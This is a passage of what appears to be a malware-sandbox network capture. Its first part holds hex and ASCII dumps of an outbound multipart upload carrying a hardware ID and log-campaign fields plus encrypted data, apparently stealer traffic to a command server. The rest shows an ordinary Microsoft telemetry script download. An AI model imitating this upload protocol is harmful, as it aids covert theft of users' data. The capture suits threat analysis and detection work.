2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 2d 2d 30 39 33 38 44 35 4f 34 52 4d 54 58 52 56 48 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 30 39 33 38 44 35 4f 34 52 4d 54 58 52 56 48 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 39 33 38 44 35 4f 34 52 4d 54 58 52 56 48 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --0938D5O4RMTXRVHK8Content-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--0938D5O4RMTXRVHK8Content-Disposition: form-data; name="pid"1--0938D5O4RMTXRVHK8Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 5d 78 9f ac 89 4b 40 71 4a 84 53 2c e9 18 e2 5c 72 f8 b1 cc 47 94 a6 49 74 73 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 Data Ascii: ]xK@qJS,\rGItsVf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 23 22 79 a7 88 e5 d9 85 f9 9e f9 ca f5 8e 42 eb 83 7c 64 fd 13 d6 aa b5 02 92 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 Data Ascii: #"yB\|d^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 12 d3 f5 3c 8f 03 74 b8 35 8f 0f 5d da 16 d7 43 6f ee f7 af 0f f2 f2 df fa 13 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e Data Ascii: <t5]CoK_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 9b 37 28 c6 f6 df 34 8f 63 5a 60 86 76 f5 27 ac 66 04 1f 60 6d 68 ce 03 e4 1b 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a Data Ascii: 7(4cZ`v'f`mhDvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJ
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 81 d9 e2 64 8b 08 21 b1 6b ee 1a 3d 42 ab 5d 4c 5f cf 8c 4c 84 f1 ec 5e d4 b1 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 Data Ascii: d!k=B]L_L^~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr5
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 82 75 46 39 35 2a c8 43 47 a0 da b6 ba 39 22 cb fb 04 65 39 9c 63 c8 f2 0e 44 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e Data Ascii: uF95CG9"e9cD9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}nC;jy)PYz;N}~
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 4a ce 47 f9 03 44 30 aa fa eb 27 6b 5f 7d be 85 6e fd d5 ba 8a ca 01 5d 65 d8 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 Data Ascii: JGD0'k_}n]e9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 8f 98 3e b1 6a e3 49 6d 97 60 db e8 8b 57 eb 1e f2 d8 d2 6f e3 71 44 e4 a0 cf 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 Data Ascii: >jIm`WoqD{<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ
2024-11-18 12:31:07 UTC	15331	OUT	Data Raw: 66 a3 d7 f4 fd 6f 86 3b 8b 98 29 28 4d a1 59 df bd 0f c2 27 8e 30 41 d8 4e 71 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 Data Ascii: fo;)(MY'0ANq5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR
2024-11-18 12:31:10 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hm1v9f7c25q9diplftu6dbmjvq; expires=Fri, 14-Mar-2025 06:17:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VmmQbpanqK7uqB3hrhClAZ7swVQb%2F02lzn2eRgkzANFhaNCJ32glU%2Be%2BYI4NZbrZo00O0lLakWOTzSrdC6%2FPShRgTxR1ClsP2Mi5Pncav8NzIWrsWaFyLylNZR%2FSflAR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f9c6be7247ac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1135&sent=232&recv=628&lost=0&retrans=0&sent_bytes=2829&recv_bytes=574916&delivery_rate=2542581&cwnd=251&unsent_bytes=0&cid=60bf2f05e6226bcc&ts=2981&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:31:14 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 12:31:15 UTC	868	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:31:14 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: f82a7196-301e-006a-3e55-34f8b2000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T123114Z-164f84587bf6h2bxhC1DFWbcm8000000061g000000003s7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 12:31:15 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-18 12:31:15 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
